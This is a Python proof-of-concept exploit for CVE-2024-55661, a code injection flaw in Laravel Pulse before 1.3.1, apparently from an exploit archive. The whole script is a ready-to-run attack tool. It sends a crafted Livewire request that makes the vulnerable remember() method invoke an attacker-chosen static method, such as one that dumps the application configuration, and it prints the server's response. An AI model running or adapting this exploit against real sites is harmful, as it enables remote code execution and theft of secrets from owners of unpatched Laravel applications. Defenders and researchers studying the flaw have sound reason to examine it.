📄 Laravel Pulse 1.3.1 Arbitrary Code Injection

#!/usr/bin/env python3
    # Exploit Title: Laravel Pulse 1.3.1 - Arbitrary Code Injection
    # Author: Mohammed Idrees Banyamer (@banyamer_security)
    # GitHub: https://github.com/mbanyamer
    # Date: 2025-06-06
    # Tested on: Laravel Pulse v1.2.0 / Ubuntu 22.04 / Apache2
    # CVE: CVE-2024-55661
    # Type: Remote Code Execution (via Arbitrary Code Injection)
    # Platform: PHP (Laravel Livewire)
    # Author Country: Jordan
    # Description: 
    #   A vulnerability in Laravel Pulse (< 1.3.1) allows arbitrary code injection via 
    #   the `remember()` method in the `RemembersQueries` trait. The attacker can craft
    #   a Livewire request to invoke arbitrary callables, enabling data exfiltration or 
    #   remote execution if unsafe classes are exposed.
    
    """
    Laravel Pulse < 1.3.1 - Arbitrary Code Injection Exploit (CVE-2024-55661)
    Author: Mohammed Idrees Banyamer | PoC
    
    This tool exploits the vulnerability in the `remember()` method in vulnerable versions
    of laravel/pulse to trigger arbitrary code execution or sensitive data leakage via Livewire.
    """
    
    import argparse
    import requests
    import json
    import sys
    from rich import print
    from rich.console import Console
    
    console = Console()
    
    class LaravelPulseExploit:
        def __init__(self, url, component, method, csrf=None, key='exploit', component_id='abcde'):
            self.url = url.rstrip('/')
            self.component = component
            self.method = method
            self.csrf = csrf
            self.key = key
            self.component_id = component_id
            self.headers = {
                "Content-Type": "application/json",
                "X-Livewire": "true",
                "Accept": "application/json"
            }
    
            if csrf:
                self.headers["X-CSRF-TOKEN"] = csrf
    
        def build_payload(self):
            return {
                "type": "callMethod",
                "method": "remember",
                "params": [self.method, self.key],
                "id": self.component_id,
                "name": self.component
            }
    
        def send(self):
            full_url = f"{self.url}/livewire/message/{self.component}"
            payload = self.build_payload()
    
            console.print(f"[bold cyan][*] Sending exploit to:[/bold cyan] {full_url}")
            try:
                response = requests.post(full_url, headers=self.headers, json=payload, timeout=10)
            except requests.exceptions.RequestException as e:
                console.print(f"[bold red][-] Request failed:[/bold red] {str(e)}")
                sys.exit(1)
    
            self.display_response(response)
    
        def display_response(self, response):
            console.print(f"\n[bold green][+] Status Code:[/bold green] {response.status_code}")
            if response.status_code == 200:
                try:
                    data = response.json()
                    pretty_data = json.dumps(data, indent=4, ensure_ascii=False)
                    console.print(f"[bold yellow]\n[+] Response JSON:[/bold yellow]\n{pretty_data}")
                except json.JSONDecodeError:
                    console.print(f"[bold red][-] Failed to decode JSON:[/bold red]\n{response.text}")
            else:
                console.print(f"[bold red][-] Unexpected response:[/bold red] {response.text}")
    
    
    def parse_arguments():
        parser = argparse.ArgumentParser(
            description="Exploit Laravel Pulse (<1.3.1) Arbitrary Code Injection (CVE-2024-55661)"
        )
        parser.add_argument("-u", "--url", required=True, help="Base URL of the Laravel app (e.g. http://example.com)")
        parser.add_argument("-c", "--component", required=True, help="Livewire component name (e.g. ConfigComponent)")
        parser.add_argument("-m", "--method", required=True, help="Static method to call (e.g. \\Illuminate\\Support\\Facades\\Config::all)")
        parser.add_argument("-k", "--key", default="exploit", help="Cache key (default: exploit)")
        parser.add_argument("--csrf", help="Optional CSRF token header")
        parser.add_argument("--id", default="abcde", help="Component ID (default: abcde)")
        return parser.parse_args()
    
    
    def banner():
        console.print("""
    [bold red]
     ____                       _                        
    | __ )  __ _ _ __  _   _   / \   _ __ ___   ___ _ __ 
    |  _ \ / _` | '_ \| | | | / _ \ | '_ ` _ \ / _ \ '__|
    | |_) | (_| | | | | |_| |/ ___ \| | | | | |  __/ |   
    |____/ \__,_|_| |_|\__, /_/   \_\_| |_| |_|\___|_|   
                       |___/                                                                                 
    [/bold red]
        [bold white]Laravel Pulse < 1.3.1 Arbitrary Code Injection (CVE-2024-55661)[/bold white]
             [blue]Author:[/blue] Mohammed Idrees Banyamer | [green]Poc[/green]
        """)
    
    
    if __name__ == "__main__":
        banner()
        args = parse_arguments()
    
        exploit = LaravelPulseExploit(
            url=args.url,
            component=args.component,
            method=args.method,
            csrf=args.csrf,
            key=args.key,
            component_id=args.id
        )
    
        exploit.send()